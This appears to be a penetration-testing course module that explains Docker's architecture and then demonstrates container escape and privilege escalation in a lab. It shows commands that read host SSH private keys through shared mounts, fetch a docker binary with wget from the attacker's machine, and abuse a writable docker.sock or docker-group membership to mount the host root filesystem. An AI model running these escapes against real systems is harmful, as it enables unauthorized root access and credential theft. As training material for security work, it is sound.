**Docker**

Docker is a popular open-source tool that provides a portable and consistent runtime environment for software applications. It uses containers as isolated environments in user space that run at the operating system level and share the file system and system resources. One advantage is that containerization thus consumes significantly fewer resources than a traditional server or virtual machine. The core feature of Docker is that applications are encapsulated in so-called Docker containers. They can thus be used for any operating system. A Docker container represents a lightweight standalone executable software package that contains everything needed to run an application code runtime.

**Docker Architecture**

At the core of the Docker architecture lies a client-server model, where we have two primary components:

* The Docker daemon
* The Docker client

The Docker client acts as our interface for issuing commands and interacting with the Docker ecosystem, while the Docker daemon is responsible for executing those commands and managing containers.

**Docker Daemon**

The Docker Daemon, also known as the Docker server, is a critical part of the Docker platform that plays a pivotal role in container management and orchestration. Think of the Docker Daemon as the powerhouse behind Docker. It has several essential responsibilities like:

* running Docker containers
* interacting with Docker containers
* managing Docker containers on the host system.

**Managing Docker Containers**

Firstly, it handles the core containerization functionality. It coordinates the creation, execution, and monitoring of Docker containers, maintaining their isolation from the host and other containers. This isolation ensures that containers operate independently, with their own file systems, processes, and network interfaces. Furthermore, it handles Docker image management. It pulls images from registries, such as [Docker Hub](https://hub.docker.com/) or private repositories, and stores them locally. These images serve as the building blocks for creating containers.

Additionally, the Docker Daemon offers monitoring and logging capabilities, for example:

* Captures container logs
* Provides insight into container activities, errors, and debugging information.

The Daemon also monitors resource utilization, such as CPU, memory, and network usage, allowing us to optimize container performance and troubleshoot issues.

**Network and Storage**

It facilitates container networking by creating virtual networks and managing network interfaces. It enables containers to communicate with each other and the outside world through network ports, IP addresses, and DNS resolution. The Docker Daemon also plays a critical role in storage management, since it handles Docker volumes, which are used to persist data beyond the lifespan of containers and manages volume creation, attachment, and clean-up, allowing containers to share or store data independently of each other.

**Docker Clients**

When we interact with Docker, we issue commands through the Docker Client, which communicates with the Docker Daemon (through a RESTful API or a Unix socket) and serves as our primary means of interacting with Docker. We also have the ability to create, start, stop, manage, remove containers, search, and download Docker images. With these options, we can pull existing images to use as a base for our containers or build our custom images using Dockerfiles. We have the flexibility to push our images to remote repositories, facilitating collaboration and sharing within our teams or with the wider community.

In comparison, the Daemon, on the other hand, carries out the requested actions, ensuring containers are created, launched, stopped, and removed as required.

Another client for Docker is Docker Compose. It is a tool that simplifies the orchestration of multiple Docker containers as a single application. It allows us to define our application's multi-container architecture using a declarative YAML (.yaml/.yml) file. With it, we can specify the services comprising our application, their dependencies, and their configurations. We define container images, environment variables, networking, volume bindings, and other settings. Docker Compose then ensures that all the defined containers are launched and interconnected, creating a cohesive and scalable application stack.

**Docker Desktop**

Docker Desktop is available for MacOS, Windows, and Linux operating systems and provides us with a user-friendly GUI that simplifies the management of containers and their components. This allows us to monitor the status of our containers, inspect logs, and manage the resources allocated to Docker. It provides an intuitive and visual way to interact with the Docker ecosystem, making it accessible to developers of all levels of expertise, and additionally, it supports Kubernetes.

**Docker Images and Containers**

Think of a Docker image as a blueprint or a template for creating containers. It encapsulates everything needed to run an application, including the application's code, dependencies, libraries, and configurations. An image is a self-contained, read-only package that ensures consistency and reproducibility across different environments. We can create images using a text file called a Dockerfile, which defines the steps and instructions for building the image.

A Docker container is an instance of a Docker image. It is a lightweight, isolated, and executable environment that runs applications. When we launch a container, it is created from a specific image, and the container inherits all the properties and configurations defined in that image. Each container operates independently, with its own filesystem, processes, and network interfaces. This isolation ensures that applications within containers remain separate from the underlying host system and other containers, preventing conflicts and interference.

While images are immutable and read-only, while containers are mutable and can be modified during runtime. We can interact with containers, execute commands within them, monitor their logs, and even make changes to their filesystem or environment. However, any modifications made to a container's filesystem are not persisted unless explicitly saved as a new image or stored in a persistent volume.

**Docker Privilege Escalation**

What can happen is that we get access to an environment where we will find users who can manage docker containers. With this, we could look for ways how to use those docker containers to obtain higher privileges on the target system. We can use several ways and techniques to escalate our privileges or escape the docker container.

**Docker Shared Directories**

When using Docker, shared directories (volume mounts) can bridge the gap between the host system and the container's filesystem. With shared directories, specific directories or files on the host system can be made accessible within the container. This is incredibly useful for persisting data, sharing code, and facilitating collaboration between development environments and Docker containers. However, it always depends on the setup of the environment and the goals that administrators want to achieve. To create a shared directory, a path on the host system and a corresponding path within the container is specified, creating a direct link between the two locations.

Shared directories offer several advantages, including the ability to persist data beyond the lifespan of a container, simplify code sharing and development, and enable collaboration within teams. It's important to note that shared directories can be mounted as read-only or read-write, depending on specific administrator requirements. When mounted as read-only, modifications made within the container won't affect the host system, which is useful when read-only access is preferred to prevent accidental modifications.

When we get access to the docker container and enumerate it locally, we might find additional (non-standard) directories on the docker’s filesystem.

Docker Shared Directories

root@container:~$ cd /hostsystem/home/cry0l1t3

root@container:/hostsystem/home/cry0l1t3$ ls -l

-rw------- 1 cry0l1t3 cry0l1t3 12559 Jun 30 15:09 .bash\_history

-rw-r--r-- 1 cry0l1t3 cry0l1t3 220 Jun 30 15:09 .bash\_logout

-rw-r--r-- 1 cry0l1t3 cry0l1t3 3771 Jun 30 15:09 .bashrc

drwxr-x--- 10 cry0l1t3 cry0l1t3 4096 Jun 30 15:09 .ssh

root@container:/hostsystem/home/cry0l1t3$ cat .ssh/id\_rsa

-----BEGIN RSA PRIVATE KEY-----

<SNIP>

From here on, we could copy the contents of the private SSH key to cry0l1t3.priv file and use it to log in as the user cry0l1t3 on the host system.

Docker Shared Directories

yovecio@htb[/htb]$ ssh cry0l1t3@<host IP> -i cry0l1t3.piv

**Docker Sockets**

A Docker socket or Docker daemon socket is a special file that allows us and processes to communicate with the Docker daemon. This communication occurs either through a Unix socket or a network socket, depending on the configuration of our Docker setup. It acts as a bridge, facilitating communication between the Docker client and the Docker daemon. When we issue a command through the Docker CLI, the Docker client sends the command to the Docker socket, and the Docker daemon, in turn, processes the command and carries out the requested actions.

Nevertheless, Docker sockets require appropriate permissions to ensure secure communication and prevent unauthorized access. Access to the Docker socket is typically restricted to specific users or user groups, ensuring that only trusted individuals can issue commands and interact with the Docker daemon. By exposing the Docker socket over a network interface, we can remotely manage Docker hosts, issue commands, and control containers and other resources. This remote API access expands the possibilities for distributed Docker setups and remote management scenarios. However, depending on the configuration, there are many ways where automated processes or tasks can be stored. Those files can contain very useful information for us that we can use to escape the Docker container.

Docker Sockets

htb-student@container:~/app$ ls -al

total 8

drwxr-xr-x 1 htb-student htb-student 4096 Jun 30 15:12 .

drwxr-xr-x 1 root root 4096 Jun 30 15:12 ..

srw-rw---- 1 root root 0 Jun 30 15:27 docker.sock

From here on, we can use the docker to interact with the socket and enumerate what docker containers are already running. If not installed, then we can download it [here](https://master.dockerproject.org/linux/x86_64/docker) and upload it to the Docker container.

Docker Sockets

htb-student@container:/tmp$ wget https://<parrot-os>:443/docker -O docker

htb-student@container:/tmp$ chmod +x docker

htb-student@container:/tmp$ ls -l

-rwxr-xr-x 1 htb-student htb-student 0 Jun 30 15:27 docker

htb-student@container:~/tmp$ /tmp/docker -H unix:///app/docker.sock ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

3fe8a4782311 main\_app "/docker-entry.s..." 3 days ago Up 12 minutes 443/tcp app

<SNIP>

We can create our own Docker container that maps the host’s root directory (/) to the /hostsystem directory on the container. With this, we will get full access to the host system. Therefore, we must map these directories accordingly and use the main\_app Docker image.

Docker Sockets

htb-student@container:/app$ /tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main\_app

htb-student@container:~/app$ /tmp/docker -H unix:///app/docker.sock ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

7ae3bcc818af main\_app "/docker-entry.s..." 12 seconds ago Up 8 seconds 443/tcp app

3fe8a4782311 main\_app "/docker-entry.s..." 3 days ago Up 17 minutes 443/tcp app

<SNIP>

Now, we can log in to the new privileged Docker container with the ID 7ae3bcc818af and navigate to the /hostsystem.

Docker Sockets

htb-student@container:/app$ /tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash

root@7ae3bcc818af:~# cat /hostsystem/root/.ssh/id\_rsa

-----BEGIN RSA PRIVATE KEY-----

<SNIP>

From there, we can again try to grab the private SSH key and log in as root or as any other user on the system with a private SSH key in its folder.

**Docker Group**

To gain root privileges through Docker, the user we are logged in with must be in the docker group. This allows him to use and control the Docker daemon.

Docker Group

docker-user@nix02:~$ id

uid=1000(docker-user) gid=1000(docker-user) groups=1000(docker-user),116(docker)

Alternatively, Docker may have SUID set, or we are in the Sudoers file, which permits us to run docker as root. All three options allow us to work with Docker to escalate our privileges.

Most hosts have a direct internet connection because the base images and containers must be downloaded. However, many hosts may be disconnected from the internet at night and outside working hours for security reasons. However, if these hosts are located in a network where, for example, a web server has to pass through, it can still be reached.

To see which images exist and which we can access, we can use the following command:

Docker Group

docker-user@nix02:~$ docker image ls

REPOSITORY TAG IMAGE ID CREATED SIZE

ubuntu 20.04 20fffa419e3a 2 days ago 72.8MB

**Docker Socket**

A case that can also occur is when the Docker socket is writable. Usually, this socket is located in /var/run/docker.sock. However, the location can understandably be different. Because basically, this can only be written by the root or docker group. If we act as a user, not in one of these two groups, and the Docker socket still has the privileges to be writable, then we can still use this case to escalate our privileges.

Docker Socket

docker-user@nix02:~$ docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash

root@ubuntu:~# ls -l /mnt

total 68

lrwxrwxrwx 1 root root 7 Apr 23 2020 bin -> usr/bin

drwxr-xr-x 4 root root 4096 Sep 22 11:34 boot

drwxr-xr-x 2 root root 4096 Oct 6 2021 cdrom

drwxr-xr-x 19 root root 3940 Oct 24 13:28 dev

drwxr-xr-x 100 root root 4096 Sep 22 13:27 etc

drwxr-xr-x 3 root root 4096 Sep 22 11:06 home

lrwxrwxrwx 1 root root 7 Apr 23 2020 lib -> usr/lib

lrwxrwxrwx 1 root root 9 Apr 23 2020 lib32 -> usr/lib32

lrwxrwxrwx 1 root root 9 Apr 23 2020 lib64 -> usr/lib64

lrwxrwxrwx 1 root root 10 Apr 23 2020 libx32 -> usr/libx32

drwx------ 2 root root 16384 Oct 6 2021 lost+found

drwxr-xr-x 2 root root 4096 Oct 24 13:28 media

drwxr-xr-x 2 root root 4096 Apr 23 2020 mnt

drwxr-xr-x 2 root root 4096 Apr 23 2020 opt

dr-xr-xr-x 307 root root 0 Oct 24 13:28 proc

drwx------ 6 root root 4096 Sep 26 21:11 root

drwxr-xr-x 28 root root 920 Oct 24 13:32 run

lrwxrwxrwx 1 root root 8 Apr 23 2020 sbin -> usr/sbin

drwxr-xr-x 7 root root 4096 Oct 7 2021 snap

drwxr-xr-x 2 root root 4096 Apr 23 2020 srv

dr-xr-xr-x 13 root root 0 Oct 24 13:28 sys

drwxrwxrwt 13 root root 4096 Oct 24 13:44 tmp

drwxr-xr-x 14 root root 4096 Sep 22 11:11 usr

drwxr-xr-x 13 root root 4096 Apr 23 2020 var